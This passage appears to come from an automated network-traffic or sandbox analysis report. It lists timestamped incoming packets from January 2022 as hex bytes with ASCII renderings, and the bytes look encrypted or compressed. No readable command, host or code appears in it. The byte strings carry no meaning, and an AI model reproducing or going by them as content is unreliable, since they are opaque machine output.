Data Ascii: RDBBVWP DDyUtgUda"_#wiA_x%5I!wbQ<5}%!l5mA}n,Y[BwnyEr :i;FG>WqR@_wy<G}hwW; bSJ(._{~~6%29_
)^L1#I

2022-01-13 21:05:25 UTC 1466 IN Data Raw: a0 b3 0a bf 47 a3 2a c0 bf 1a 76 57 41 b7 f3 53 15 46 82 f3 2a a3 17 e5 22 5f 41 49 6e 77 a0 0e 62 6b 26 66 dc 
91 03 bd 1c 9e 13 aa 25 b3 68 6b e4 d4 d4 de 93 4b 21 12 64 9a f1 8a 61 5e 68 e0 f7 41 85 21 aa dd db 9b 7b eb 72 59 
e4 e8 1d fc 4c 19 d2 50 c5 5b 0d 49 c6 76 dc 43 dd 3e 22 85 4d 12 23 c6 dc 14 33 4c c2 7a c3 6d bd 94 98 1e b7 52 30 bd 
20 64 b8 ae de ed 64 c2 ab 86 1a 39 b0 28 84 ab f0 2e b5 18 cd 30 1b 36 37 c2 cb 39 c4 00 c8 bb 2a 3e e9 7e be 09 b9 0c
98 b7 8d cf 9d 79 75 5f 27 64 a3 28 87 90 0d 64 08 0c 27 55 fb 05 06 e7 ec 68 77 62 63 8a 3c 57 b0 21 db 9c 89 e9 86 13 
59 12 45 68 39 ef 08 de e4 a0 95 51 99 c4 ca c4 10 8d 31 e7 d5 03 7d ec 9b bc b0 3b 08 59 fb 4a a9 48 e1 86 b2 ae 0c b1 
1b 04 76 26 74 fd 51 ba a2 5c 2f c5 e6 05 14 9a e0 e8 37 
Data Ascii: G*vWASF*"_AInwbk&f%hkK!da^hA!{rYLP[IvC>"M#3LzmR0 dd9(.0679*>~yu_'d(d'Uhwbc<W!YEh9Q1};YJH
v&tQ\/7

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1468 IN Data Raw: fb f4 3b 8c b4 2e 87 54 74 a3 95 d4 a8 e4 58 2b 81 43 ba 45 67 f3 d0 a9 48 b6 f3 80 6a 75 b4 5a 0d 59 ab 96 
d4 8a a9 56 af 02 1c ea c5 6f 71 a8 e7 a6 d9 eb e7 ec ed 35 4b 50 3b c6 50 cb 56 d8 35 2a 5c 66 2b 1c 1a 15 be 66 2b 1c 
1b 15 be 65 2b ec 1b 15 be e7 5c b1 46 85 3f b2 15 ea 46 05 ef 24 53 e1 c6 a8 e0 67 2b f4 8d 0a 41 b6 c2 d0 a8 10 66 2b 
d4 8c 0a 51 b6 42 27 2d 0d 60 ed 9c 4a 5c e1 6f 08 0d 2e fe 11 b3 4e 3b 1d 67 7b 3e 30 e6 d7 c9 56 68 64 e6 d7 cd 56 8a 
f5 5e e8 cc de 9c 18 67 36 87 c8 47 01 01 ee 32 fe e0 25 17 76 12 2d c0 1a 8c 2d a4 bd 6f 4e 88 f6 be 75 6f 4e 4c 85 64 
0e 70 ff e4 76 51 dc 2b 60 34 40 63 1a 0a 6b c7 49 54 0c af c0 69 f4 db 13 01 ff 2f 63 df 18 e8 6d ac 71 9e b3 b6 56 7f 66 
a9 64 71 92 0a e5 d9 10 a7 37 d9 ea c8 c6 df c2 94 16 
Data Ascii: ;.TtX+CEgHjuZYVoq5KP;PV5*\f+f+e+\F?F$Sg+Af+QB'-`J\o.N;g{>0VhdV^g6G2%v--oNuoNLdpvQ+`4@ckI
Ti/cmqVfdq7

2022-01-13 21:05:25 UTC 1469 IN Data Raw: cf 6a ea 62 8e f9 0d 3b ee 7b 53 43 c0 e5 a4 66 81 8a 01 3e d2 62 6d 42 27 d5 66 67 21 26 bb 49 d5 5c 1c a9 
4c f8 1b 6d 2d 97 2b 62 e9 34 cd e7 0d fe b8 c9 91 3c 3d 65 cf 18 d5 81 95 90 71 bc c6 5d b9 f6 c9 55 a2 65 f7 26 c0 09 
e6 d5 a7 df dc 8a b3 e9 88 9b 54 ec fd 98 46 03 84 73 1b 87 90 04 cb b8 cb b3 d6 c9 02 6e af 9d b9 c4 54 41 02 ea db 0b 
2e 69 ed 20 eb a7 57 bb 8d e7 d5 6d 7d f2 b9 9c 37 92 5b 7c 61 6b c8 67 e3 35 2b 22 87 a9 4b 44 84 60 23 b7 5a 41 dc 0c 
66 7d 61 82 29 2a cf 53 63 2d 26 5b 7a a9 9a bf b8 f2 04 33 b1 f3 cf cf 7b 2f 73 ba 6f 16 9c 6e 1d 27 c4 e2 bc ef fc d6 79 df 
56 e7 7d e7 05 52 4c ee 93 79 15 2c ed fc ea f6 e8 e4 dd 1e b5 df 11 e2 ec e6 c0 8c a6 9e d8 4f 88 39 4d 3d 11 73 fb 03 
8c 3e 23 c2 1e e6 42 58 4d 5d f1 f2 62 ae 25 4a 12 
Data Ascii: jb;{SCf>bmB'fg!&I\Lm-+b4<=eq]Ue&TFsnTA.i Wm}7[|akg5+"KD`#ZAf}a)*Sc-&[z3{/son'yV}RLy,O9M=
s>#BXM]b%J

2022-01-13 21:05:25 UTC 1470 IN Data Raw: ab 65 2d 3a 80 27 82 eb 11 3d 01 cb 1a d8 21 a5 04 fe e6 d3 28 d5 4b fc 0b c4 1d ba a3 ea df 07 07 93 f5 d2 df 
a3 62 91 a4 fb 0f 04 24 b2 d0 c5 43 b6 85 ff 48 39 22 34 0a 65 8e 4e f4 01 0a dd d5 32 cd 84 c3 2e 8f 42 81 20 d0 3f a9 46 
64 fb 1c e0 39 8d 38 f4 d0 cc 7d ca 2a 17 aa f0 08 76 e0 c2 24 03 4a 39 6b 87 14 73 85 9c 8b be ca c2 d0 3d cf 6d f5 2d 
a9 e0 d3 a5 9c a9 11 00 06 c2 ac 41 55 4f 40 e0 92 8f 0f 3e 36 69 9f 42 e9 20 e0 39 61 4c 01 b3 c7 06 01 f7 0f 82 dd 10 af 
ee bd 1e 90 00 5a ec c2 ef 38 3a ee 6c 3b 17 2c 95 4c ae 9f de 74 ae b5 4d e5 74 bc ba ae 44 8a 99 92 a4 67 5a 7b 1b 2f 
a2 70 6b ae 2e e2 89 24 cf a7 19 b4 5b 18 60 c3 aa b4 e7 6c 90 86 83 05 f4 ab a6 7e d5 b4 ab 9a 7e 56 29 70 81 ca a4 8b 
b3 07 c4 17 ac 1b fe cd a5 34 87 7c bf 04 a9 d8 
Data Ascii: e-:'=!(Kb$CH9"4eN2.B ?Fd98}*v$J9ks=m-AUO@>6iB 9aLZ8:l;,LtMtDgZ{/pk.$[`l~~V)p4|

2022-01-13 21:05:25 UTC 1471 IN Data Raw: e6 11 89 3a 67 07 f9 db 40 cc 6f 06 25 26 5e 84 6d a9 43 c3 08 2b 2e 2c 07 92 3d 9e c6 c0 c2 91 4c 52 7b 2e 
09 b4 60 e0 67 ce c6 9e ff 72 20 4d 1e ee 63 a2 0f 97 9f c8 df 9b 9c 5c 0c e0 73 6d 21 d8 45 44 13 39 0e 72 ad 9e 43 5c fb 
6e 1e 22 e2 2b c1 83 e5 00 9c c5 ee a7 53 3a b5 cf cf 7c 0d e1 50 b5 e1 c4 01 1e 8e 39 c3 4d 1b 08 7c dc 18 f7 00 ce 47 
1b 0e 4d 8c 10 13 89 37 df 7b ea cd 06 f4 5f 8d 38 cb 2d de de 26 ed 36 f1 ad 16 2a 50 c4 f0 f1 6b 55 af f2 13 d8 7d e2 d3 
e4 59 8e e5 59 3e 38 aa ed 59 95 d8 2d f3 e0 c9 40 52 f3 72 51 bc 26 8b e7 35 7b fb 14 a3 3f 73 b9 25 bc d6 63 fb d1 f7 f0 
2f 9c d3 51 66 31 c7 9a 1b 2c 94 08 74 13 1e 3b 58 0f 10 59 88 1c 1e ff 82 8e f8 80 88 bd c5 46 9c fb 59 02 e2 b4 da 21 f0 
c7 6f 08 6a 8c 42 b0 8c 7a dd a9 6d 61 76 84 
Data Ascii: :g@o%&^mC+.,=LR{.`gr Mc\sm!ED9rC\n"+S:|P9M|GM7{_8-&6*PkU}YY>8Y-@RrQ&5{?s%c/Qf1,t;XYFY!oj
Bzmav

2022-01-13 21:05:25 UTC 1473 IN Data Raw: 29 95 7b 1c a8 eb 21 70 39 07 61 6e e8 1a 96 eb c5 2f 73 0f 9c 48 34 f6 2e 8f ac a1 1e 49 51 61 01 1f 00 24 39 
d7 9c d1 ee f8 b0 3b 44 b4 b4 e9 c7 26 ff 11 13 a3 fc 07 d2 0a f0 e5 47 78 d3 a3 fa 96 53 43 c0 89 60 30 d6 80 b8 70 a2 
1a 50 10 61 73 12 a8 8c 89 b9 10 36 90 1a 72 aa 1d a9 53 0a 48 d6 84 8c 70 a8 56 03 07 7c e7 a8 25 e9 b8 43 24 2b 24 
e3 e0 e8 dc c4 9a 7a 2b f9 0d e3 f5 7a 05 6d 46 ce 44 f2 bb c2 0c ee 9b 51 84 fe 27 85 ed da c5 c9 f6 f9 79 01 75 67 85 f1 
b0 17 15 95 4b 71 a1 93 a6 f2 3b 0b ae ce 3f 76 aa 6a 43 35 f4 a6 ef 66 39 bb 91 2f b1 80 ca f9 52 6d a3 62 02 f1 46 46 81 
6c e5 67 40 86 d9 a9 c1 ac cf bb 27 56 76 40 eb a2 46 c5 69 74 7a 7e 5e 17 6f d6 17 21 04 a9 45 54 4e 9d 79 73 a2 f3 20 
e5 9e 3d 1e 19 1a fd 0c aa 32 24 34 9e 9b 53 5b dd 
Data Ascii: ){!p9an/sH4.IQa$9;D&GxSC`0pPas6rSHpV|%C$+$z+zmFDQ'yugKq;?vjC5f9/RmbFFlg@'Vv@Fitz~^o!ETNys 
=2$4S[

2022-01-13 21:05:25 UTC 1474 IN Data Raw: 60 ef af af f9 46 7d 35 4f d6 e5 e2 d0 c5 ba 93 54 47 39 3d f5 95 3f 54 59 46 fc 21 72 e1 54 7a 53 09 af 29 6a 
7b 79 9a c4 20 fe 7a ca 2e 9d ea 57 fd a0 fa 86 a9 53 6a 20 31 fc a5 51 5f 9b 2d c7 94 df f3 10 05 1a aa e1 e1 ec 5c 61 e0 
39 be 7d ab 65 99 71 11 cb 32 88 1c 08 3f 0c c1 4c e6 69 5a ec 5f 5b e8 d8 c9 60 8f 5b 52 90 14 85 7d 3b e5 71 76 bf fe ca
44 45 f8 dd 7c 17 2b 81 f9 47 7d 19 77 0d 75 58 53 cc 90 3c 15 76 b3 df 4e 0d 7f c6 6f e6 c7 01 6b 24 09 4d 8a e2 3a 7b 
7e 46 b3 70 74 eb 74 97 4b 15 9b fe 22 be ef c3 4f 16 4f ed 2b f4 02 e8 a0 58 1a fe 78 f4 e7 32 ba 4e 67 4f 50 7a 1e ff aa 
8c 6a 2d ff 6a ed 3a 51 e8 0a 7c 2f c8 62 be e3 82 6a f1 51 93 14 ab 18 72 82 70 1c 21 71 59 a7 74 11 00 e8 b7 76 8c 38 
12 9f 1b 03 5b 29 76 90 ce f9 84 ba 92 4f 9e 
Data Ascii: `F}5OTG9=?TYF!rTzS)j{y z.WSj 1Q_-\a9}eq2?LiZ_[`[R};qvDE|+G}wuXS<vNok$M:{~FpttK"OO+Xx2NgOPzj-
j:Q|/bjQrp!qYtv8[)vO

2022-01-13 21:05:25 UTC 1475 IN Data Raw: 82 d9 1a f3 42 a1 e3 e5 c3 82 6a f0 7e d5 47 f7 cb 99 0e 27 8b 03 2f 09 82 63 c5 ea 4f 64 9c bd 33 57 8c b5 2a 
a3 94 38 ec 51 15 aa 32 1e 74 ed 6c 31 d5 a8 3b c8 c5 ca a7 4d 1c 47 8a 81 23 82 46 cd d9 f6 2f 10 e1 57 db 29 c6 80 09 
97 c9 40 d2 9b f0 44 e3 1f 02 6e 1a 89 4e 6f 3c 2b eb 8e 39 1d 69 c6 88 f6 00 39 e9 3e 99 9e 4d 8f 24 0d df 8f ed 6f c7 44 
54 7d 3d 46 19 6a e0 68 26 2d c1 27 db ff 84 c6 39 9e 48 00 26 e7 2f 28 e8 da 99 a2 82 e5 18 85 dd 33 9c 47 ed 4c 52 90 
da 66 ee e1 2b d2 24 ee e5 40 d1 6d f4 28 0f 05 91 0c 5c ef 58 dd d3 77 b5 3b d9 8d 60 33 a2 45 09 a5 65 d4 6a ea 40 06 
0e 32 c7 e2 29 92 55 47 b6 46 fa 4a 01 03 b5 06 08 aa 0f 1f a2 71 0d 18 39 25 5a b5 a6 e3 59 64 71 5e c4 6a 7b c0 46 d1 
8f 2d 7b 1f 8d 89 ac 3d a9 5a c7 6a 6f e8 3d 2b f8 
Data Ascii: Bj~G'/cOd3W*8Q2tl1;MG#F/W)@DnNo<+9i9>M$oDT}=Fjh&-'9H&/(3GLRf+$@m(\Xw;`3Eej@2)UGFJq9%ZYdq
^j{F-{=Zjo=+

2022-01-13 21:05:25 UTC 1476 IN Data Raw: d7 c4 61 7b 1e e0 01 df 71 5f fe 42 84 b2 bf 22 24 d0 ac 6d 5c 9e 00 e5 98 1e 87 ee f0 0c f5 4c 4f d9 46 bd f0 
b7 a2 63 1a d2 41 b7 48 fa c3 27 83 29 3f 7a 45 9b a9 0f 4c 85 20 d1 fa 41 11 24 36 8a 27 15 d6 21 e9 90 4a a9 b8 12 5a 
b2 a0 7a 0b a8 a1 49 a2 2d f5 fe 30 6b 9b 85 26 1b 42 11 6c a1 4a fd f9 53 ca 59 69 70 38 b3 3e 34 16 e6 e5 5f e8 75 e7 
2f df ed 84 03 97 f2 54 62 e2 bc 8a 18 b4 86 e8 99 ed af e7 d0 1b 8c fc bf fc fe f8 2f 0f 88 c0 e0 af 08 0a 35 4a d8 34 12 c2 
a4 f4 c3 bf a0 87 86 7f 3d b5 fa 18 67 ce 52 d7 6e 5c df 64 0c 7b 72 79 61 8a a4 6f 12 f4 10 72 8b 71 6b ee a0 e5 36 ba bd 
21 5e b3 e7 b6 f5 6f 84 c8 ae 84 83 27 20 ce b3 5a aa 1c e3 3f a6 d8 11 f9 3a 11 7f 4c 73 22 2c e4 bb b9 c8 9d 22 5c 72 
48 37 a7 21 ec 05 19 4f 5d 92 7e bf 40 d7 e9 
Data Ascii: a{q_B"$m\LOFcAH')?zEL A$6'!JZzI-0k&BlJSYip8>4_u/Tb/5J4=gRn\d{ryaorqk6!^o' Z?:Ls","\rH7!O]~@

2022-01-13 21:05:25 UTC 1478 IN Data Raw: d4 10 8c f4 65 10 fa 4f ea 8b 5e e4 14 1f bf 64 a5 3c c4 ff f9 33 b4 d1 45 f0 87 3c 01 d9 f2 eb 1e be d2 25 b3 14 
21 b4 b8 75 03 aa 86 54 a8 47 7a 47 16 45 9f 71 7a 96 e7 62 ad 68 75 c6 6d df 1d 52 83 51 56 86 4a 31 b8 0d e5 80 f2 e9 
a0 38 2d 93 25 13 60 5f 2b c4 48 4d 98 20 19 40 15 a7 43 92 4c e2 a0 0c ca 29 90 94 0f 64 21 e3 13 9c 88 99 d4 b6 71 b3 
f2 15 11 8a 02 d3 a1 d1 8c 91 f1 7b cc bd 0c 4b ed 71 6a 92 70 8b d8 c4 38 9b 62 08 61 9a 4e 71 1b 1b d4 bc 22 e1 8c a5 
42 18 fc 0e d0 41 43 59 30 37 60 34 48 13 fa a0 8b 0b 10 2d 65 1a d8 2e f8 8b 40 9e c0 70 3a 21 59 f1 05 4e 83 14 c1 61 
80 f6 99 00 08 08 ee 79 90 3c 79 75 a3 a0 cc 8e db 4f 6b 14 01 2b e1 58 34 ca b2 59 21 5e 37 50 a3 52 db 30 a7 f5 c4 dc 
dc 21 97 2e b1 45 74 dd eb 58 77 21 77 8e 89 18 4e 
Data Ascii: eO^d<3E<%!uTGzGEqzbhumRQVJ18-%`_+HM @CL)d!q{Kqjp8baNq"BACY07`4H-e.@p:!YNay<yuO
k+X4Y!^7PR0!.EtXw!wN

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1479 IN Data Raw: ab 5e 2b 70 56 da 25 56 64 db c4 17 09 41 23 61 99 c9 84 97 f4 5c b9 b7 3e fe 39 d8 f8 b3 fb 31 1d cb ad 1d 
10 8f 60 d5 9d 56 05 91 12 f9 06 a7 0e 75 c6 bd 95 00 20 90 48 92 42 e5 3a c9 7d 0c 7b 7a a2 45 2a ec cd e4 dd 7d f3 6b 
6c df 94 c3 f6 0f af 0b 68 ef fb c7 f7 5d ba a3 77 2a 7c b5 e2 4a 39 85 49 06 4b 1d 11 98 63 2a b4 44 53 10 0e 76 4d 79 b8 
92 7b 43 c3 78 e0 d4 72 a3 5e ad df 57 5a b2 22 34 23 2e 71 44 b4 a8 5e 46 5b 52 e3 d3 0a 7f 02 fe a4 72 eb de ae dd dd 
89 4e 9a 5c 6e 53 bc d9 3f b2 8d b0 0b 2d 25 b5 0b 18 b5 4d 18 b2 8e f3 b6 50 c0 41 4a 5a 61 32 b2 4d 0c d0 26 05 0e 87 
b9 31 f7 f6 d3 9d e4 a3 cc d6 71 f3 68 b2 8d 9d 7c 19 a8 22 6b 6c 46 e8 dc 31 ed 15 47 11 42 0c af 26 70 fe 88 22 e4 89 
31 12 56 8f c0 52 4d e6 74 c7 ef 1a a2 c8 e9 fb 45 77 
Data Ascii: ^+pV%VdA#a\>91`Vu HB:}{zE*}klh]w*|J9IKc*DSvMy{Cxr^WZ"4#.qD^F[RrN\nS?-%MPAJZa2M&1qh|"klF1
GB&p"1VRMtEw

2022-01-13 21:05:25 UTC 1480 IN Data Raw: 14 85 73 58 5c d6 65 9c 8f dd 60 71 ab 37 08 33 b0 1d f8 b0 62 7a 03 15 7b ef 5a e7 7d da 07 ca ba d7 55 af b0
5b cc 68 c9 59 33 ec f6 3a b2 9e 9f 74 a8 ca 3a 43 7d a4 00 55 d5 e7 8b eb 0d 5d 52 25 ec f4 b1 a4 3b 71 45 9d 46 a3 f4 
a7 75 01 d9 59 67 b0 62 5a e3 ce cf 2d 20 2f 21 8e 4d c1 b9 7f df 9e 1c de a9 96 67 30 1f 23 cd e6 08 6b 53 3d fe d3 4e 7c
c0 26 f3 87 8c 75 db ea dc dd 2e ad ac dd fd 3c b6 b9 0f ff 7d c3 8f d9 89 5a 4b 8b b7 c5 a5 3b d5 8f c7 ef c7 5c 5a 5c e3 
a8 0b b5 77 22 52 1d 32 5b 67 b5 cc c2 ed 71 ed fc e8 fa 2e a3 c7 e9 bd 64 90 6a b1 68 d4 64 ee fd a8 50 9b 95 5f d6 a6 
98 f8 22 fb 5e 46 83 2a de 2e 2d eb d6 df d6 6e ee 92 f1 f5 90 af dc c0 60 de d0 60 e6 16 12 93 69 2f ec 8e 5b dd 30 63 56 
e1 ac 76 9b c9 df 2d fc 3f fc be 7f 96 d9 0f 
Data Ascii: sX\e`q73bz{Z}U[hY3:t:C}U]R%;qEFuYgbZ- /!Mg0#kS=N|&u.<}ZK;\Z\w"R2[gq.djhdP_"^F*.-n``i/[0cVv-?

2022-01-13 21:05:25 UTC 1482 IN Data Raw: 42 84 2e 18 c2 b6 de ea aa a1 f2 03 71 df 69 21 3d 3c 78 72 db c7 32 74 ab 81 a1 3c 0c c9 6f 6f f7 62 48 28 83 
fb ad e1 08 68 53 b7 13 cd b7 fd 3a 37 fd b4 db 7e 95 53 22 0c 8c f9 b9 dd 02 9a b6 0a a1 5b ae b2 1e 38 6b b2 3f f6 c3 
d6 08 ca f9 3a ae c3 10 1d b7 ba db 68 8d a9 8a bc 6f 70 1c cd 2b 6c d1 45 a6 3c 34 5b fc f1 28 7c 0a db d1 c0 ee f9 d8 
2d 67 ec cd e6 08 6d 81 bb aa 43 ba 2d 21 bd dc 60 74 2e a9 d5 6e b7 54 e3 eb 22 7c 21 9d c2 4a d8 ae 33 f5 2b 3f ed 35 
b9 7d 15 18 9d 76 18 4d b9 f3 f6 24 b9 7c 67 1d 88 8d aa f0 c8 16 1a 8d e4 48 e2 64 bb b7 de 1d ed 31 f0 4c 9c 54 cd 38 
cd 64 b8 1c c7 83 a9 10 c5 16 ad 99 31 e1 68 33 63 96 63 d5 6c dd cf 92 83 3d f4 13 51 87 f5 59 51 ab 2d ae ed 7d 35 41 
38 93 fa 55 85 6c 9f 9f b4 ef 03 b7 6c 54 0e ce 44 d3 
Data Ascii: B.qi!=<xr2t<oobH(hS:7~S"[8k?:hop+lE<4[(|-gmC-!`t.nT"|!J3+?5}vM$|gHd1LT8d1h3ccl=QYQ-}5A8UllTD

2022-01-13 21:05:25 UTC 1483 IN Data Raw: cc d8 72 fe b3 b3 5f de 5f 74 d6 ed f1 ed 26 b6 2e 84 6c be 7c d9 c7 7c d4 89 3e 9e 44 98 e9 d2 5d b6 68 e0 9f 
a6 73 5b 28 ae df 89 8e 53 c0 fd a2 03 c3 d2 b1 9b b7 9d 3b 28 8d 76 34 31 28 bb 5a 8b f2 07 21 d3 94 5c 31 ee a3 1f b9 
92 2f 82 56 03 4e bc 52 20 7f f0 d5 b2 a9 c6 a8 ca 1d 3b 08 54 bf 09 db 37 ed 4d 6f da 93 14 35 68 73 c1 c9 e6 0b c5 a5 
e5 95 d5 b5 f5 4f 9b 5f b7 b6 77 76 b3 34 2b 60 46 18 68 b7 b8 83 7d 2c 40 17 2e cc 8e 8e 71 fe 3f 88 a3 da be 39 99 f0 
ee 3c 9c 16 ac f2 49 a2 f4 50 61 82 14 1c c7 8a 3b a0 f1 ed 8d 62 a9 a0 81 3b 21 a2 27 5c 98 d1 9e 15 44 6e 0f 9a b0 c1 
f3 5c 6e a2 15 d4 a0 6a 85 06 20 87 b4 45 94 7d 5e 86 a4 7e 2c 69 43 26 45 13 55 34 1d 93 6f 6c 1e 3a 41 b5 40 a3 0b 48 
b3 16 01 78 6d bc 46 a8 b6 d0 8d f3 c7 c2 ce 12 da bc 
Data Ascii: r__t&.l||>D]hs[(S;(v41(Z!\1/VNR ;T7Mo5hsO_wv4+`Fh},@.q?9<IPa;b;!'\Dn\nj E}^~,iC&EU4ol:A@HxmF

2022-01-13 21:05:25 UTC 1484 IN Data Raw: 95 8a ec c9 a9 6b 78 21 ef 90 f1 50 9a a2 d2 8b 56 db 18 bb 68 6c 72 a0 dd be 10 31 23 af 6f b7 5d 27 50 fa 1c 
ce 40 29 8e 6a e7 8b 2e 0a c2 f8 7a cc 75 6a ae d5 ab e3 28 6a af 65 a1 f4 a5 c8 31 94 bf 53 05 64 d4 20 2a 94 5e 0e 9d 
8e f9 ad 2b 75 a3 2f 81 ba e3 90 6b 7d 7b ca 28 b6 fd 36 aa 97 48 f4 51 7f 3c ca 6d c9 1f 5f 81 48 57 5a 24 bb ae f3 a1 a9 
cc 97 a3 dc f7 d5 9d ec 96 eb c8 4c 47 70 a2 53 6d f8 7a e6 b5 0a 3f 68 e4 b1 31 75 b2 f7 23 84 99 2a 9c 93 1a 44 5b fd 
90 20 db b8 c9 6d 8e 60 0e 7a 63 20 04 b3 6d b7 db c8 a2 cd 1a 7a df 43 8f d9 a2 42 5e 94 05 9c 17 65 69 52 ba 8d 7e 77 
d1 33 a1 7c 93 36 18 2f 6e 0c 79 77 70 6c 15 76 96 c5 d2 ce 8a c8 15 b4 d6 d0 1c 55 54 d9 da 68 bb 8d aa a4 3c ec f2 bd 
fc d6 10 d9 51 cb 7f c8 8a b1 6f 1d f1 67 04 bc 10 
Data Ascii: kx!PVhlr1#o]'P@)j.zuj(je1Sd *^+u/k}{(6HQ<m_HWZ$LGpSmz?h1u#*D[ m`zc mzCB^eiR~w3|6/nywplvUTh<Qog

2022-01-13 21:05:25 UTC 1485 IN Data Raw: 6c f8 84 95 82 5d ab 01 3d 86 f4 d0 a9 d6 a9 3e 9b c5 38 d8 3f 8e 0d db 74 e0 50 9e 80 f0 15 cf 55 19 83 45 77 
14 11 33 3c ab 8a e3 2a e7 78 1e e7 70 78 7b 89 14 e4 23 8f 7d 8a 8a 95 53 48 9e 6c 4c b2 c4 b0 4f c7 4a 73 3b 3f 29 9f 
57 e3 b0 c1 38 4f 62 56 e1 91 82 d5 d5 76 99 09 1a ae 82 cd 34 10 bf f5 f8 4d 5a 36 8f f9 4d 1a 4b 77 f8 6d 85 df b6 f8 2d 
b2 98 66 ca 2a 6a 86 f0 81 43 11 01 b2 29 f2 e6 5f ae 32 49 0b 58 de a2 0c c0 cb 91 72 fe 33 fb 79 e1 56 7f 44 04 4f ee 87 
8f a1 3d c1 92 3e 21 76 13 55 9c 34 03 e2 9d 94 d7 76 06 09 fd b0 8b b4 cb 08 ed 95 a3 12 1f 93 e1 37 c8 fe ec 1b 1a 0b 
f2 2f 73 fe 19 86 10 17 55 84 b5 be 88 e9 11 a5 7a 84 68 c4 7d 3e 54 53 d5 bf 94 8f 0e ad fe a5 fd 64 18 e8 14 e7 d5 59 1e 
36 a4 66 43 2d 99 b7 ec 10 d3 ed 42 ad fa 0b 
Data Ascii: l]=>8?tPUEw3<*xpx{#}SHlLOJs;?)W8ObVv4MZ6MKwm-f*jC)_2IXr3yVDO=>!vU4v7/sUzh}>TSdY6fC-B

2022-01-13 21:05:25 UTC 1487 IN Data Raw: 01 8b 63 d4 3e 24 db 11 a1 0c 37 ca 3d c3 67 32 90 67 df 2d 24 d2 80 0a 3e 40 a5 3f 62 27 24 85 40 b6 c5 0f 
35 d1 93 1e e5 da 35 aa 56 eb 9b 95 7d ad 5c f7 de 42 20 09 06 83 4e d6 40 3b ec d4 90 80 23 5b 89 18 9d 30 8d e1 c6 
37 29 8f 47 31 f7 37 8e ba 11 69 35 e0 d0 b3 08 74 a8 5b 43 e4 36 5a 40 fd b4 a9 1e f3 e2 de a9 95 fc 72 cc 05 d0 8f 4e af 
b4 22 82 4e 69 39 3f 29 05 26 8a 60 af a6 33 99 88 47 5e 82 26 7a cf 01 10 8a 4c f3 f4 d2 ca ed d6 cc 36 f1 82 8b c8 ad 46 
9c dc da 56 47 ca d0 b9 af 59 41 cd 92 e3 1b 9d f8 0c eb a7 90 06 b7 7a dd 6e 48 05 1e f5 86 a3 e3 5e b7 35 ea 0d f0 9e 
4c 55 a3 1e 21 9e 5b 8f 35 a0 c6 b7 11 7c cc d6 77 8a 8a e6 d3 d7 79 1d 7d 35 b8 cb a4 9a d9 f1 f2 0e 6b 57 dd 08 e6 da 
64 04 a6 2e dc d0 e4 3c 5e 74 0d 9d 37 8c c6 59 f1 a1 
Data Ascii: c>$7=g2g-$>@?b'$@55V}\B N@;#[07)G17i5t[C6Z@rN"Ni9?)&`3G^&zL6FVGYAznH^5LU![5|wy}5kWd.<^t7Y

2022-01-13 21:05:25 UTC 1488 IN Data Raw: 53 94 47 c0 28 77 7d 94 2c 22 6b ee 0f 07 3e 92 8f 19 ba 05 ca b0 fe 16 bc e0 ac a7 9b 51 5b 9c c7 27 9f 1e 87 
8d 54 07 4e f1 d3 8a 2a e8 13 c6 f6 2c 00 f0 0f e8 77 cf ec 97 2f 01 d4 bf 90 cf 9b d7 32 9a 70 3d ab a1 73 17 54 3a c7 2b 
55 37 72 5c 3e 81 99 93 dc d8 79 66 62 e7 d0 0c 25 32 16 7e d0 b7 62 61 79 6d 79 7d 69 75 79 ed 0b 5b 40 b9 de d0 a2 
19 d9 c0 4a 2c b2 cf 03 fc 69 eb 43 8e b2 41 61 bb bc f6 22 ee 56 de 6a 41 85 ca 6a 22 c0 e4 a4 31 fc b1 df 2a b1 eb 04 
1e cb 12 65 3f 41 61 40 43 2b 5d 
Data Ascii: SG(w},"k>Q['TN*,w/2p=sT:+U7r\>yfb%2~baymy}iuy[@J,iCAa"VjAj"1*e?Aa@C+]

2022-01-13 21:05:25 UTC 1488 IN Data Raw: 60 98 fc 0d 34 c6 5e 1a ad 30 47 4f 68 01 2b 36 ef d5 7e 7d 7b e7 c4 93 90 92 6b c4 0e 3f 74 2e 7a 8f 52 ef e7 
e2 97 db 25 6a 66 a6 6e 95 fb ad 46 f3 22 1c 12 08 48 75 80 fb e6 20 d2 9b 51 ee ed 51 f7 82 20 74 69 3b c3 12 2b c9 a5 
fd ee 7a 2e 4e ad 67 04 80 7d a2 85 2c 6f 8f 94 ed 09 86 a1 3d 30 4d fe a5 15 dc 90 e0 10 d6 2b 80 2f 32 e3 b3 c4 d0 18 
ff 40 80 e6 27 ee 89 bc 95 8c 47 7c 4f ad b7 56 53 6a bd 57 d3 c3 17 e1 09 6d 2b fc 2b 73 c7 c7 ee 64 de 7b a7 7c 59 a3 
c9 14 7d 90 78 f0 e2 92 87 ee 0a 0e 75 3c 37 b0 a4 ef a9 44 a5 ce 97 0f 99 eb 9a c9 ac 99 da f1 22 3e 02 3c 4f 3e 20 c9 
83 3d 50 76 09 64 80 aa b5 ad ee 72 ab 35 0b 15 0d 97 6c e5 13 40 06 2c db 4a 9c 50 45 01 d0 2b 2a cb 23 81 d2 1a 42 
4e 78 39 1c 38 3f f6 ef 4b be 38 7f 28 05 a2 5b 0a 27 fa 
Data Ascii: `4^0GOh+6~}{k?t.zR%jfnF"Hu QQ ti;+z.Ng},o=0M+/2@'G|OVSjWm++sd{|Y}xu<7D"><O> =Pvdr5l@,JPE
+*#BNx98?K8(['

2022-01-13 21:05:25 UTC 1489 IN Data Raw: b5 a3 b0 6f e7 c7 83 67 0f c2 3a 51 d8 e5 e5 f2 db 0e e6 d7 8d c2 0e 77 db 67 3d 0c eb 45 61 5f 6b dd e3 73 08 
ea 47 41 ad 95 87 ca 13 46 1b 44 61 de d7 a3 d7 06 56 c5 8b c2 ae dc f1 ea 21 86 05 51 d8 4d ef a8 7a 80 55 09 a3 b0 cd 
c2 e5 e3 09 c6 ab 47 61 bb c5 9d 83 36 96 d1 88 c2 b6 bd c1 b5 87 61 37 69 1c 2c 32 71 4a 31 1a 46 f9 e6 77 08 fe e6 c2 
82 9a db 05 e5 26 b4 a9 7c 93 35 16 2c 97 b5 b5 1b f6 47 a9 25 cb c2 eb cb 99 72 8f a4 2e e2 3b 22 10 89 c6 5a 21 12 fb 
1d 61 b1 5e 70 9d f8 eb 38 6d 39 5e c5 64 ca 4d cd ba 99 a7 ff 36 6e cc 24 86 f0 a4 e5 ba 3d 49 95 2f 37 1c f2 60 b4 73 a9 
